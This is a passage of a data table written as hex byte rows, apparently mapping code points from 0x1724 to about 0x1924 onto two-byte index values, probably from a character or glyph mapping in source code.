0x17, 0x24, 0xce, 0x13,\r\n0x00, 0x17, 0x25, 0xcf, 0x13,\r\n0x00, 0x17, 0x26, 0xd0, 0x13,\r\n0x00, 0x17, 0x27, 0xd1, 0x13,\r\n0x00, 0x17, 0x28, 0xd2, 0x13,\r\n0x00, 0x17, 0x29, 0xd3, 0x13,\r\n0x00, 0x17, 0x2A, 0xd4, 0x13,\r\n0x00, 0x17, 0x2B, 0xd5, 0x13,\r\n0x00, 0x17, 0x2C, 0xd6, 0x13,\r\n0x00, 0x17, 0x2D, 0xd7, 0x13,\r\n0x00, 0x17, 0x2E, 0xd8, 0x13,\r\n0x00, 0x17, 0x2F, 0xd9, 0x13,\r\n0x00, 0x17, 0x30, 0xda, 0x13,\r\n0x00, 0x17, 0x31, 0x20, 0x0b,\r\n0x00, 0x17, 0x32, 0xdb, 0x13,\r\n0x00, 0x17, 0x33, 0xdc, 0x13,\r\n0x00, 0x17, 0x34, 0xdd, 0x13,\r\n0x00, 0x17, 0x35, 0xde, 0x13,\r\n0x00, 0x17, 0x36, 0xdf, 0x13,\r\n0x00, 0x17, 0x37, 0xf6, 0x09,\r\n0x00, 0x17, 0x38, 0xdf, 0x03,\r\n0x00, 0x17, 0x39, 0xe0, 0x13,\r\n0x00, 0x17, 0x3A, 0xe1, 0x13,\r\n0x00, 0x17, 0x3B, 0x05, 0x00,\r\n0x00, 0x17, 0x3C, 0xe2, 0x13,\r\n0x00, 0x17, 0x3D, 0xe3, 0x13,\r\n0x00, 0x17, 0x3E, 0xe4, 0x13,\r\n0x00, 0x17, 0x3F, 0xe5, 0x13,\r\n0x00, 0x17, 0x40, 0xe6, 0x13,\r\n0x00, 0x17, 0x41, 0xe7, 0x13,\r\n0x00, 0x17, 0x42, 0x07, 0x00,\r\n0x00, 0x17, 0x43, 0xe8, 0x13,\r\n0x00, 0x17, 0x44, 0xe9, 0x13,\r\n0x00, 0x17, 0x45, 0xea, 0x13,\r\n0x00, 0x17, 0x46, 0xeb, 0x13,\r\n0x00, 0x17, 0x47, 0xec, 0x13,\r\n0x00, 0x17, 0x48, 0xed, 0x13,\r\n0x00, 0x17, 0x49, 0xee, 0x13,\r\n0x00, 0x17, 0x4A, 0xef, 0x13,\r\n0x00, 0x17, 0x4B, 0xb9, 0x02,\r\n0x00, 0x17, 0x4C, 0xf0, 0x13,\r\n0x00, 0x17, 0x4D, 0xf1, 0x13,\r\n0x00, 0x17, 0x4E, 0xf2, 0x13,\r\n0x00, 0x17, 0x4F, 0xf3, 0x13,\r\n0x00, 0x17, 0x50, 0xf4, 0x13,\r\n0x00, 0x17, 0x51, 0xf5, 0x13,\r\n0x00, 0x17, 0x52, 0xf6, 0x13,\r\n0x00, 0x17, 0x53, 0xf7, 0x13,\r\n0x00, 0x17, 0x54, 0xf8, 0x13,\r\n0x00, 0x17, 0x55, 0xf9, 0x13,\r\n0x00, 0x17, 0x56, 0xfa, 0x13,\r\n0x00, 0x17, 0x57, 0xfb, 0x13,\r\n0x00, 0x17, 0x58, 0xfc, 0x13,\r\n0x00, 0x17, 0x59, 0x05, 0x00,\r\n0x00, 0x17, 0x5A, 0x05, 0x00,\r\n0x00, 0x17, 0x5B, 0xfd, 0x13,\r\n0x00, 0x17, 0x5C, 0xfe, 0x13,\r\n0x00, 0x17, 0x5D, 0xff, 0x13,\r\n0x00, 0x17, 0x5E, 0x00, 0x14,\r\n0x00, 0x17, 0x5F, 0x01, 0x14,\r\n0x00, 0x17, 0x60, 0x02, 0x14,\r\n0x00, 0x17, 0x61, 0x65, 0x00,\r\n0x00, 0x17, 0x62, 0x03, 0x14,\r\n0x00, 0x17, 0x63, 0x04, 0x14,\r\n0x00, 0x17, 0x64, 0x05, 0x14,\r\n0x00, 0x17, 0x65, 0x69, 0x01,\r\n0x00, 0x17, 0x66, 0x06, 0x14,\r\n0x00, 0x17, 0x67, 0x07, 0x14,\r\n0x00, 0x17, 0x68, 0x08, 0x14,\r\n0x00, 0x17, 0x69, 0x09, 0x14,\r\n0x00, 0x17, 0x6A, 0x0a, 0x14,\r\n0x00, 0x17, 0x6B, 0x0b, 0x14,\r\n0x00, 0x17, 0x6C, 0x0c, 0x14,\r\n0x00, 0x17, 0x6D, 0x0d, 0x14,\r\n0x00, 0x17, 0x6E, 0x0e, 0x14,\r\n0x00, 0x17, 0x6F, 0x0f, 0x14,\r\n0x00, 0x17, 0x70, 0x10, 0x14,\r\n0x00, 0x17, 0x71, 0x11, 0x14,\r\n0x00, 0x17, 0x72, 0x12, 0x14,\r\n0x00, 0x17, 0x73, 0x13, 0x14,\r\n0x00, 0x17, 0x74, 0x14, 0x14,\r\n0x00, 0x17, 0x75, 0x15, 0x14,\r\n0x00, 0x17, 0x76, 0x16, 0x14,\r\n0x00, 0x17, 0x77, 0x17, 0x14,\r\n0x00, 0x17, 0x78, 0x18, 0x14,\r\n0x00, 0x17, 0x79, 0x19, 0x14,\r\n0x00, 0x17, 0x7A, 0x1a, 0x14,\r\n0x00, 0x17, 0x7B, 0x1b, 0x14,\r\n0x00, 0x17, 0x7C, 0x1c, 0x14,\r\n0x00, 0x17, 0x7D, 0x1d, 0x14,\r\n0x00, 0x17, 0x7E, 0x1e, 0x14,\r\n0x00, 0x17, 0x7F, 0x1f, 0x14,\r\n0x00, 0x17, 0x80, 0x20, 0x14,\r\n0x00, 0x17, 0x81, 0x21, 0x14,\r\n0x00, 0x17, 0x82, 0x22, 0x14,\r\n0x00, 0x17, 0x83, 0xeb, 0x0f,\r\n0x00, 0x17, 0x84, 0xb9, 0x00,\r\n0x00, 0x17, 0x85, 0x23, 0x14,\r\n0x00, 0x17, 0x86, 0x24, 0x14,\r\n0x00, 0x17, 0x87, 0x25, 0x14,\r\n0x00, 0x17, 0x88, 0x26, 0x14,\r\n0x00, 0x17, 0x89, 0x27, 0x14,\r\n0x00, 0x17, 0x8A, 0x28, 0x14,\r\n0x00, 0x17, 0x8B, 0xfc, 0x00,\r\n0x00, 0x17, 0x8C, 0x5e, 0x08,\r\n0x00, 0x17, 0x8D, 0x29, 0x14,\r\n0x00, 0x17, 0x8E, 0x2a, 0x14,\r\n0x00, 0x17, 0x8F, 0x2b, 0x14,\r\n0x00, 0x17, 0x90, 0x9e, 0x0c,\r\n0x00, 0x17, 0x91, 0x2c, 0x14,\r\n0x00, 0x17, 0x92, 0x2d, 0x14,\r\n0x00, 0x17, 0x93, 0x2e, 0x14,\r\n0x00, 0x17, 0x94, 0x05, 0x00,\r\n0x00, 0x17, 0x95, 0x05, 0x00,\r\n0x00, 0x17, 0x96, 0x2f, 0x14,\r\n0x00, 0x17, 0x97, 0x30, 0x14,\r\n0x00, 0x17, 0x98, 0x31, 0x14,\r\n0x00, 0x17, 0x99, 0x32, 0x14,\r\n0x00, 0x17, 0x9A, 0xe8, 0x04,\r\n0x00, 0x17, 0x9B, 0x33, 0x14,\r\n0x00, 0x17, 0x9C, 0x34, 0x14,\r\n0x00, 0x17, 0x9D, 0x35, 0x14,\r\n0x00, 0x17, 0x9E, 0x36, 0x14,\r\n0x00, 0x17, 0x9F, 0x37, 0x14,\r\n0x00, 0x17, 0xA0, 0x38, 0x14,\r\n0x00, 0x17, 0xA1, 0x39, 0x14,\r\n0x00, 0x17, 0xA2, 0x3a, 0x14,\r\n0x00, 0x17, 0xA3, 0x3b, 0x14,\r\n0x00, 0x17, 0xA4, 0xc9, 0x01,\r\n0x00, 0x17, 0xA5, 0xfb, 0x0a,\r\n0x00, 0x17, 0xA6, 0x3c, 0x14,\r\n0x00, 0x17, 0xA7, 0x3d, 0x14,\r\n0x00, 0x17, 0xA8, 0x3e, 0x14,\r\n0x00, 0x17, 0xA9, 0x3f, 0x14,\r\n0x00, 0x17, 0xAA, 0x40, 0x14,\r\n0x00, 0x17, 0xAB, 0xc5, 0x08,\r\n0x00, 0x17, 0xAC, 0x41, 0x14,\r\n0x00, 0x17, 0xAD, 0x42, 0x14,\r\n0x00, 0x17, 0xAE, 0x43, 0x14,\r\n0x00, 0x17, 0xAF, 0x44, 0x14,\r\n0x00, 0x17, 0xB0, 0xb9, 0x02,\r\n0x00, 0x17, 0xB1, 0x45, 0x14,\r\n0x00, 0x17, 0xB2, 0x46, 0x14,\r\n0x00, 0x17, 0xB3, 0x47, 0x14,\r\n0x00, 0x17, 0xB4, 0x48, 0x14,\r\n0x00, 0x17, 0xB5, 0x49, 0x14,\r\n0x00, 0x17, 0xB6, 0x4a, 0x14,\r\n0x00, 0x17, 0xB7, 0x4b, 0x14,\r\n0x00, 0x17, 0xB8, 0x4c, 0x14,\r\n0x00, 0x17, 0xB9, 0x4d, 0x14,\r\n0x00, 0x17, 0xBA, 0x4e, 0x14,\r\n0x00, 0x17, 0xBB, 0x4f, 0x14,\r\n0x00, 0x17, 0xBC, 0x50, 0x14,\r\n0x00, 0x17, 0xBD, 0x51, 0x14,\r\n0x00, 0x17, 0xBE, 0x52, 0x14,\r\n0x00, 0x17, 0xBF, 0x53, 0x14,\r\n0x00, 0x17, 0xC0, 0x54, 0x14,\r\n0x00, 0x17, 0xC1, 0x55, 0x14,\r\n0x00, 0x17, 0xC2, 0x71, 0x07,\r\n0x00, 0x17, 0xC3, 0x56, 0x14,\r\n0x00, 0x17, 0xC4, 0x57, 0x14,\r\n0x00, 0x17, 0xC5, 0x1f, 0x06,\r\n0x00, 0x17, 0xC6, 0xac, 0x05,\r\n0x00, 0x17, 0xC7, 0x58, 0x14,\r\n0x00, 0x17, 0xC8, 0x59, 0x14,\r\n0x00, 0x17, 0xC9, 0x4f, 0x02,\r\n0x00, 0x17, 0xCA, 0x5b, 0x03,\r\n0x00, 0x17, 0xCB, 0x08, 0x05,\r\n0x00, 0x17, 0xCC, 0xd1, 0x06,\r\n0x00, 0x17, 0xCD, 0x5a, 0x14,\r\n0x00, 0x17, 0xCE, 0x5b, 0x14,\r\n0x00, 0x17, 0xCF, 0x5c, 0x14,\r\n0x00, 0x17, 0xD0, 0x5d, 0x14,\r\n0x00, 0x17, 0xD1, 0x69, 0x01,\r\n0x00, 0x17, 0xD2, 0x5e, 0x14,\r\n0x00, 0x17, 0xD3, 0x5f, 0x14,\r\n0x00, 0x17, 0xD4, 0x60, 0x14,\r\n0x00, 0x17, 0xD5, 0x4f, 0x02,\r\n0x00, 0x17, 0xD6, 0x61, 0x14,\r\n0x00, 0x17, 0xD7, 0x62, 0x14,\r\n0x00, 0x17, 0xD8, 0x63, 0x14,\r\n0x00, 0x17, 0xD9, 0x64, 0x14,\r\n0x00, 0x17, 0xDA, 0x65, 0x14,\r\n0x00, 0x17, 0xDB, 0x66, 0x14,\r\n0x00, 0x17, 0xDC, 0x67, 0x14,\r\n0x00, 0x17, 0xDD, 0x68, 0x14,\r\n0x00, 0x17, 0xDE, 0x6f, 0x09,\r\n0x00, 0x17, 0xDF, 0x05, 0x00,\r\n0x00, 0x17, 0xE0, 0x05, 0x00,\r\n0x00, 0x17, 0xE1, 0x69, 0x14,\r\n0x00, 0x17, 0xE2, 0xb9, 0x00,\r\n0x00, 0x17, 0xE3, 0xeb, 0x0f,\r\n0x00, 0x17, 0xE4, 0xeb, 0x0f,\r\n0x00, 0x17, 0xE5, 0xeb, 0x0f,\r\n0x00, 0x17, 0xE6, 0xeb, 0x0f,\r\n0x00, 0x17, 0xE7, 0xeb, 0x0f,\r\n0x00, 0x17, 0xE8, 0xeb, 0x0f,\r\n0x00, 0x17, 0xE9, 0xeb, 0x0f,\r\n0x00, 0x17, 0xEA, 0xeb, 0x0f,\r\n0x00, 0x17, 0xEB, 0xeb, 0x0f,\r\n0x00, 0x17, 0xEC, 0xeb, 0x0f,\r\n0x00, 0x17, 0xED, 0x6a, 0x14,\r\n0x00, 0x17, 0xEE, 0xb9, 0x00,\r\n0x00, 0x17, 0xEF, 0x2f, 0x02,\r\n0x00, 0x17, 0xF0, 0x6b, 0x14,\r\n0x00, 0x17, 0xF1, 0x6c, 0x14,\r\n0x00, 0x17, 0xF2, 0x51, 0x03,\r\n0x00, 0x17, 0xF3, 0xb7, 0x00,\r\n0x00, 0x17, 0xF4, 0x6d, 0x14,\r\n0x00, 0x17, 0xF5, 0x6e, 0x14,\r\n0x00, 0x17, 0xF6, 0x6f, 0x14,\r\n0x00, 0x17, 0xF7, 0x70, 0x14,\r\n0x00, 0x17, 0xF8, 0x71, 0x14,\r\n0x00, 0x17, 0xF9, 0x72, 0x14,\r\n0x00, 0x17, 0xFA, 0xb4, 0x03,\r\n0x00, 0x17, 0xFB, 0x73, 0x14,\r\n0x00, 0x17, 0xFC, 0x74, 0x14,\r\n0x00, 0x17, 0xFD, 0x75, 0x14,\r\n0x00, 0x17, 0xFE, 0x76, 0x14,\r\n0x00, 0x17, 0xFF, 0x77, 0x14,\r\n0x00, 0x18, 0x00, 0x78, 0x14,\r\n0x00, 0x18, 0x01, 0xe7, 0x0d,\r\n0x00, 0x18, 0x02, 0xd8, 0x0d,\r\n0x00, 0x18, 0x03, 0x79, 0x14,\r\n0x00, 0x18, 0x04, 0x7a, 0x14,\r\n0x00, 0x18, 0x05, 0x7b, 0x14,\r\n0x00, 0x18, 0x06, 0x7c, 0x14,\r\n0x00, 0x18, 0x07, 0x7d, 0x14,\r\n0x00, 0x18, 0x08, 0x7e, 0x14,\r\n0x00, 0x18, 0x09, 0x7f, 0x14,\r\n0x00, 0x18, 0x0A, 0x80, 0x14,\r\n0x00, 0x18, 0x0B, 0x81, 0x14,\r\n0x00, 0x18, 0x0C, 0x82, 0x14,\r\n0x00, 0x18, 0x0D, 0x83, 0x14,\r\n0x00, 0x18, 0x0E, 0x84, 0x14,\r\n0x00, 0x18, 0x0F, 0xb9, 0x02,\r\n0x00, 0x18, 0x10, 0x85, 0x14,\r\n0x00, 0x18, 0x11, 0x86, 0x14,\r\n0x00, 0x18, 0x12, 0x87, 0x14,\r\n0x00, 0x18, 0x13, 0xbe, 0x09,\r\n0x00, 0x18, 0x14, 0x88, 0x14,\r\n0x00, 0x18, 0x15, 0x89, 0x14,\r\n0x00, 0x18, 0x16, 0x8a, 0x14,\r\n0x00, 0x18, 0x17, 0x8b, 0x14,\r\n0x00, 0x18, 0x18, 0x05, 0x00,\r\n0x00, 0x18, 0x19, 0x05, 0x00,\r\n0x00, 0x18, 0x1A, 0x8c, 0x14,\r\n0x00, 0x18, 0x1B, 0xb4, 0x04,\r\n0x00, 0x18, 0x1C, 0x8d, 0x14,\r\n0x00, 0x18, 0x1D, 0x8e, 0x14,\r\n0x00, 0x18, 0x1E, 0x8f, 0x14,\r\n0x00, 0x18, 0x1F, 0x53, 0x08,\r\n0x00, 0x18, 0x20, 0x90, 0x14,\r\n0x00, 0x18, 0x21, 0x91, 0x14,\r\n0x00, 0x18, 0x22, 0x92, 0x14,\r\n0x00, 0x18, 0x23, 0xe2, 0x05,\r\n0x00, 0x18, 0x24, 0x93, 0x14,\r\n0x00, 0x18, 0x25, 0x65, 0x00,\r\n0x00, 0x18, 0x26, 0x94, 0x14,\r\n0x00, 0x18, 0x27, 0x95, 0x14,\r\n0x00, 0x18, 0x28, 0x96, 0x14,\r\n0x00, 0x18, 0x29, 0x97, 0x14,\r\n0x00, 0x18, 0x2A, 0x98, 0x14,\r\n0x00, 0x18, 0x2B, 0x99, 0x14,\r\n0x00, 0x18, 0x2C, 0x9a, 0x14,\r\n0x00, 0x18, 0x2D, 0x9b, 0x14,\r\n0x00, 0x18, 0x2E, 0x9c, 0x14,\r\n0x00, 0x18, 0x2F, 0xeb, 0x0f,\r\n0x00, 0x18, 0x30, 0xeb, 0x0f,\r\n0x00, 0x18, 0x31, 0xeb, 0x0f,\r\n0x00, 0x18, 0x32, 0xeb, 0x0f,\r\n0x00, 0x18, 0x33, 0xeb, 0x0f,\r\n0x00, 0x18, 0x34, 0xeb, 0x0f,\r\n0x00, 0x18, 0x35, 0x9d, 0x14,\r\n0x00, 0x18, 0x36, 0xaf, 0x0e,\r\n0x00, 0x18, 0x37, 0x0a, 0x01,\r\n0x00, 0x18, 0x38, 0x9e, 0x14,\r\n0x00, 0x18, 0x39, 0xf9, 0x0a,\r\n0x00, 0x18, 0x3A, 0x0a, 0x0e,\r\n0x00, 0x18, 0x3B, 0x9f, 0x14,\r\n0x00, 0x18, 0x3C, 0xa0, 0x14,\r\n0x00, 0x18, 0x3D, 0xa1, 0x14,\r\n0x00, 0x18, 0x3E, 0xa2, 0x14,\r\n0x00, 0x18, 0x3F, 0x02, 0x0c,\r\n0x00, 0x18, 0x40, 0xa3, 0x14,\r\n0x00, 0x18, 0x41, 0x37, 0x02,\r\n0x00, 0x18, 0x42, 0xb9, 0x02,\r\n0x00, 0x18, 0x43, 0xa4, 0x14,\r\n0x00, 0x18, 0x44, 0xa5, 0x14,\r\n0x00, 0x18, 0x45, 0xa6, 0x14,\r\n0x00, 0x18, 0x46, 0xa7, 0x14,\r\n0x00, 0x18, 0x47, 0xa8, 0x14,\r\n0x00, 0x18, 0x48, 0xa9, 0x14,\r\n0x00, 0x18, 0x49, 0xaa, 0x14,\r\n0x00, 0x18, 0x4A, 0xab, 0x14,\r\n0x00, 0x18, 0x4B, 0xac, 0x14,\r\n0x00, 0x18, 0x4C, 0xad, 0x14,\r\n0x00, 0x18, 0x4D, 0x68, 0x08,\r\n0x00, 0x18, 0x4E, 0xae, 0x14,\r\n0x00, 0x18, 0x4F, 0xaf, 0x14,\r\n0x00, 0x18, 0x50, 0xb0, 0x14,\r\n0x00, 0x18, 0x51, 0xb1, 0x14,\r\n0x00, 0x18, 0x52, 0xb2, 0x14,\r\n0x00, 0x18, 0x53, 0xb3, 0x14,\r\n0x00, 0x18, 0x54, 0xb4, 0x14,\r\n0x00, 0x18, 0x55, 0xb5, 0x14,\r\n0x00, 0x18, 0x56, 0xb6, 0x14,\r\n0x00, 0x18, 0x57, 0xb7, 0x14,\r\n0x00, 0x18, 0x58, 0xb8, 0x14,\r\n0x00, 0x18, 0x59, 0xb9, 0x14,\r\n0x00, 0x18, 0x5A, 0xba, 0x14,\r\n0x00, 0x18, 0x5B, 0xbb, 0x14,\r\n0x00, 0x18, 0x5C, 0xbc, 0x14,\r\n0x00, 0x18, 0x5D, 0xbd, 0x14,\r\n0x00, 0x18, 0x5E, 0xbe, 0x14,\r\n0x00, 0x18, 0x5F, 0xb6, 0x0e,\r\n0x00, 0x18, 0x60, 0xbf, 0x14,\r\n0x00, 0x18, 0x61, 0xc0, 0x14,\r\n0x00, 0x18, 0x62, 0x70, 0x04,\r\n0x00, 0x18, 0x63, 0xc1, 0x14,\r\n0x00, 0x18, 0x64, 0x6c, 0x0b,\r\n0x00, 0x18, 0x65, 0xc2, 0x14,\r\n0x00, 0x18, 0x66, 0xc3, 0x14,\r\n0x00, 0x18, 0x67, 0x13, 0x07,\r\n0x00, 0x18, 0x68, 0xc4, 0x14,\r\n0x00, 0x18, 0x69, 0xc5, 0x14,\r\n0x00, 0x18, 0x6A, 0xc6, 0x14,\r\n0x00, 0x18, 0x6B, 0xc7, 0x14,\r\n0x00, 0x18, 0x6C, 0xc8, 0x14,\r\n0x00, 0x18, 0x6D, 0xc9, 0x14,\r\n0x00, 0x18, 0x6E, 0xf2, 0x00,\r\n0x00, 0x18, 0x6F, 0xca, 0x14,\r\n0x00, 0x18, 0x70, 0xcb, 0x14,\r\n0x00, 0x18, 0x71, 0xc9, 0x01,\r\n0x00, 0x18, 0x72, 0xcc, 0x14,\r\n0x00, 0x18, 0x73, 0x05, 0x00,\r\n0x00, 0x18, 0x74, 0x05, 0x00,\r\n0x00, 0x18, 0x75, 0xcd, 0x14,\r\n0x00, 0x18, 0x76, 0xce, 0x14,\r\n0x00, 0x18, 0x77, 0xcf, 0x14,\r\n0x00, 0x18, 0x78, 0xd0, 0x14,\r\n0x00, 0x18, 0x79, 0xd1, 0x14,\r\n0x00, 0x18, 0x7A, 0xd2, 0x14,\r\n0x00, 0x18, 0x7B, 0xd3, 0x14,\r\n0x00, 0x18, 0x7C, 0xd4, 0x14,\r\n0x00, 0x18, 0x7D, 0xd5, 0x14,\r\n0x00, 0x18, 0x7E, 0xd6, 0x14,\r\n0x00, 0x18, 0x7F, 0xd7, 0x14,\r\n0x00, 0x18, 0x80, 0xd8, 0x14,\r\n0x00, 0x18, 0x81, 0xd9, 0x14,\r\n0x00, 0x18, 0x82, 0xda, 0x14,\r\n0x00, 0x18, 0x83, 0xdb, 0x14,\r\n0x00, 0x18, 0x84, 0xdc, 0x14,\r\n0x00, 0x18, 0x85, 0xdd, 0x14,\r\n0x00, 0x18, 0x86, 0xde, 0x14,\r\n0x00, 0x18, 0x87, 0xdf, 0x14,\r\n0x00, 0x18, 0x88, 0xe0, 0x14,\r\n0x00, 0x18, 0x89, 0xe1, 0x14,\r\n0x00, 0x18, 0x8A, 0xe2, 0x14,\r\n0x00, 0x18, 0x8B, 0xd1, 0x05,\r\n0x00, 0x18, 0x8C, 0xe3, 0x14,\r\n0x00, 0x18, 0x8D, 0xb9, 0x02,\r\n0x00, 0x18, 0x8E, 0xe4, 0x14,\r\n0x00, 0x18, 0x8F, 0xe5, 0x14,\r\n0x00, 0x18, 0x90, 0xe6, 0x14,\r\n0x00, 0x18, 0x91, 0xe7, 0x14,\r\n0x00, 0x18, 0x92, 0xe8, 0x14,\r\n0x00, 0x18, 0x93, 0xe9, 0x01,\r\n0x00, 0x18, 0x94, 0xe9, 0x14,\r\n0x00, 0x18, 0x95, 0xea, 0x14,\r\n0x00, 0x18, 0x96, 0xeb, 0x14,\r\n0x00, 0x18, 0x97, 0xec, 0x14,\r\n0x00, 0x18, 0x98, 0xed, 0x14,\r\n0x00, 0x18, 0x99, 0xe9, 0x01,\r\n0x00, 0x18, 0x9A, 0xee, 0x14,\r\n0x00, 0x18, 0x9B, 0x17, 0x07,\r\n0x00, 0x18, 0x9C, 0xef, 0x14,\r\n0x00, 0x18, 0x9D, 0xf0, 0x14,\r\n0x00, 0x18, 0x9E, 0xf1, 0x14,\r\n0x00, 0x18, 0x9F, 0xf2, 0x14,\r\n0x00, 0x18, 0xA0, 0xf3, 0x14,\r\n0x00, 0x18, 0xA1, 0xf4, 0x14,\r\n0x00, 0x18, 0xA2, 0xf5, 0x14,\r\n0x00, 0x18, 0xA3, 0xf6, 0x14,\r\n0x00, 0x18, 0xA4, 0xb9, 0x00,\r\n0x00, 0x18, 0xA5, 0xf7, 0x14,\r\n0x00, 0x18, 0xA6, 0xf8, 0x14,\r\n0x00, 0x18, 0xA7, 0xf9, 0x14,\r\n0x00, 0x18, 0xA8, 0xfa, 0x14,\r\n0x00, 0x18, 0xA9, 0x0b, 0x0f,\r\n0x00, 0x18, 0xAA, 0xfb, 0x14,\r\n0x00, 0x18, 0xAB, 0xdf, 0x0a,\r\n0x00, 0x18, 0xAC, 0x0e, 0x03,\r\n0x00, 0x18, 0xAD, 0xfc, 0x14,\r\n0x00, 0x18, 0xAE, 0xfd, 0x14,\r\n0x00, 0x18, 0xAF, 0x4f, 0x02,\r\n0x00, 0x18, 0xB0, 0x69, 0x01,\r\n0x00, 0x18, 0xB1, 0x2f, 0x02,\r\n0x00, 0x18, 0xB2, 0xfe, 0x14,\r\n0x00, 0x18, 0xB3, 0xff, 0x14,\r\n0x00, 0x18, 0xB4, 0x00, 0x15,\r\n0x00, 0x18, 0xB5, 0x01, 0x15,\r\n0x00, 0x18, 0xB6, 0x02, 0x15,\r\n0x00, 0x18, 0xB7, 0x03, 0x15,\r\n0x00, 0x18, 0xB8, 0x04, 0x15,\r\n0x00, 0x18, 0xB9, 0x05, 0x00,\r\n0x00, 0x18, 0xBA, 0x05, 0x00,\r\n0x00, 0x18, 0xBB, 0x05, 0x15,\r\n0x00, 0x18, 0xBC, 0x06, 0x15,\r\n0x00, 0x18, 0xBD, 0xe9, 0x01,\r\n0x00, 0x18, 0xBE, 0x07, 0x15,\r\n0x00, 0x18, 0xBF, 0x08, 0x15,\r\n0x00, 0x18, 0xC0, 0xb9, 0x00,\r\n0x00, 0x18, 0xC1, 0x09, 0x15,\r\n0x00, 0x18, 0xC2, 0x0a, 0x15,\r\n0x00, 0x18, 0xC3, 0x0b, 0x15,\r\n0x00, 0x18, 0xC4, 0x0c, 0x15,\r\n0x00, 0x18, 0xC5, 0xb9, 0x02,\r\n0x00, 0x18, 0xC6, 0x0d, 0x15,\r\n0x00, 0x18, 0xC7, 0x75, 0x05,\r\n0x00, 0x18, 0xC8, 0x0e, 0x15,\r\n0x00, 0x18, 0xC9, 0x0f, 0x15,\r\n0x00, 0x18, 0xCA, 0x10, 0x15,\r\n0x00, 0x18, 0xCB, 0x11, 0x15,\r\n0x00, 0x18, 0xCC, 0x12, 0x15,\r\n0x00, 0x18, 0xCD, 0x13, 0x15,\r\n0x00, 0x18, 0xCE, 0x14, 0x15,\r\n0x00, 0x18, 0xCF, 0x15, 0x15,\r\n0x00, 0x18, 0xD0, 0x16, 0x15,\r\n0x00, 0x18, 0xD1, 0xc2, 0x14,\r\n0x00, 0x18, 0xD2, 0x17, 0x15,\r\n0x00, 0x18, 0xD3, 0x18, 0x15,\r\n0x00, 0x18, 0xD4, 0x19, 0x15,\r\n0x00, 0x18, 0xD5, 0x1a, 0x15,\r\n0x00, 0x18, 0xD6, 0x1b, 0x15,\r\n0x00, 0x18, 0xD7, 0x1c, 0x15,\r\n0x00, 0x18, 0xD8, 0x1d, 0x15,\r\n0x00, 0x18, 0xD9, 0x1e, 0x15,\r\n0x00, 0x18, 0xDA, 0x1f, 0x15,\r\n0x00, 0x18, 0xDB, 0x20, 0x15,\r\n0x00, 0x18, 0xDC, 0x21, 0x15,\r\n0x00, 0x18, 0xDD, 0x22, 0x15,\r\n0x00, 0x18, 0xDE, 0x80, 0x10,\r\n0x00, 0x18, 0xDF, 0x23, 0x15,\r\n0x00, 0x18, 0xE0, 0x24, 0x15,\r\n0x00, 0x18, 0xE1, 0x25, 0x15,\r\n0x00, 0x18, 0xE2, 0x26, 0x15,\r\n0x00, 0x18, 0xE3, 0x27, 0x15,\r\n0x00, 0x18, 0xE4, 0x28, 0x15,\r\n0x00, 0x18, 0xE5, 0x29, 0x15,\r\n0x00, 0x18, 0xE6, 0x63, 0x00,\r\n0x00, 0x18, 0xE7, 0x2a, 0x15,\r\n0x00, 0x18, 0xE8, 0x2b, 0x15,\r\n0x00, 0x18, 0xE9, 0x2c, 0x15,\r\n0x00, 0x18, 0xEA, 0x2d, 0x15,\r\n0x00, 0x18, 0xEB, 0x2e, 0x15,\r\n0x00, 0x18, 0xEC, 0x2f, 0x15,\r\n0x00, 0x18, 0xED, 0x30, 0x15,\r\n0x00, 0x18, 0xEE, 0x31, 0x15,\r\n0x00, 0x18, 0xEF, 0x32, 0x15,\r\n0x00, 0x18, 0xF0, 0x33, 0x15,\r\n0x00, 0x18, 0xF1, 0x34, 0x15,\r\n0x00, 0x18, 0xF2, 0xb3, 0x10,\r\n0x00, 0x18, 0xF3, 0x20, 0x0b,\r\n0x00, 0x18, 0xF4, 0x35, 0x15,\r\n0x00, 0x18, 0xF5, 0xe9, 0x01,\r\n0x00, 0x18, 0xF6, 0xbc, 0x0c,\r\n0x00, 0x18, 0xF7, 0x36, 0x15,\r\n0x00, 0x18, 0xF8, 0xf9, 0x0a,\r\n0x00, 0x18, 0xF9, 0x37, 0x15,\r\n0x00, 0x18, 0xFA, 0x38, 0x15,\r\n0x00, 0x18, 0xFB, 0x39, 0x15,\r\n0x00, 0x18, 0xFC, 0x3a, 0x15,\r\n0x00, 0x18, 0xFD, 0x3b, 0x15,\r\n0x00, 0x18, 0xFE, 0xc9, 0x01,\r\n0x00, 0x18, 0xFF, 0x3c, 0x15,\r\n0x00, 0x19, 0x00, 0x3d, 0x15,\r\n0x00, 0x19, 0x01, 0x3e, 0x15,\r\n0x00, 0x19, 0x02, 0x34, 0x02,\r\n0x00, 0x19, 0x03, 0x3f, 0x15,\r\n0x00, 0x19, 0x04, 0x40, 0x15,\r\n0x00, 0x19, 0x05, 0x41, 0x15,\r\n0x00, 0x19, 0x06, 0x05, 0x00,\r\n0x00, 0x19, 0x07, 0x05, 0x00,\r\n0x00, 0x19, 0x08, 0x42, 0x15,\r\n0x00, 0x19, 0x09, 0x43, 0x15,\r\n0x00, 0x19, 0x0A, 0x44, 0x15,\r\n0x00, 0x19, 0x0B, 0x45, 0x15,\r\n0x00, 0x19, 0x0C, 0x46, 0x15,\r\n0x00, 0x19, 0x0D, 0x47, 0x15,\r\n0x00, 0x19, 0x0E, 0x48, 0x15,\r\n0x00, 0x19, 0x0F, 0x49, 0x15,\r\n0x00, 0x19, 0x10, 0x4a, 0x15,\r\n0x00, 0x19, 0x11, 0x4b, 0x15,\r\n0x00, 0x19, 0x12, 0x4c, 0x15,\r\n0x00, 0x19, 0x13, 0x4d, 0x15,\r\n0x00, 0x19, 0x14, 0x4e, 0x15,\r\n0x00, 0x19, 0x15, 0x84, 0x03,\r\n0x00, 0x19, 0x16, 0x4f, 0x15,\r\n0x00, 0x19, 0x17, 0x50, 0x15,\r\n0x00, 0x19, 0x18, 0x40, 0x06,\r\n0x00, 0x19, 0x19, 0x51, 0x15,\r\n0x00, 0x19, 0x1A, 0x52, 0x15,\r\n0x00, 0x19, 0x1B, 0x53, 0x15,\r\n0x00, 0x19, 0x1C, 0x54, 0x15,\r\n0x00, 0x19, 0x1D, 0xc5, 0x08,\r\n0x00, 0x19, 0x1E, 0x55, 0x15,\r\n0x00, 0x19, 0x1F, 0x8a, 0x01,\r\n0x00, 0x19, 0x20, 0x56, 0x15,\r\n0x00, 0x19, 0x21, 0xee, 0x06,\r\n0x00, 0x19, 0x22, 0x57, 0x15,\r\n0x00, 0x19, 0x23, 0x58, 0x15,\r\n0x00, 0x19, 0x24, 0x59, 0x15,\r\n0x00, 0x19, 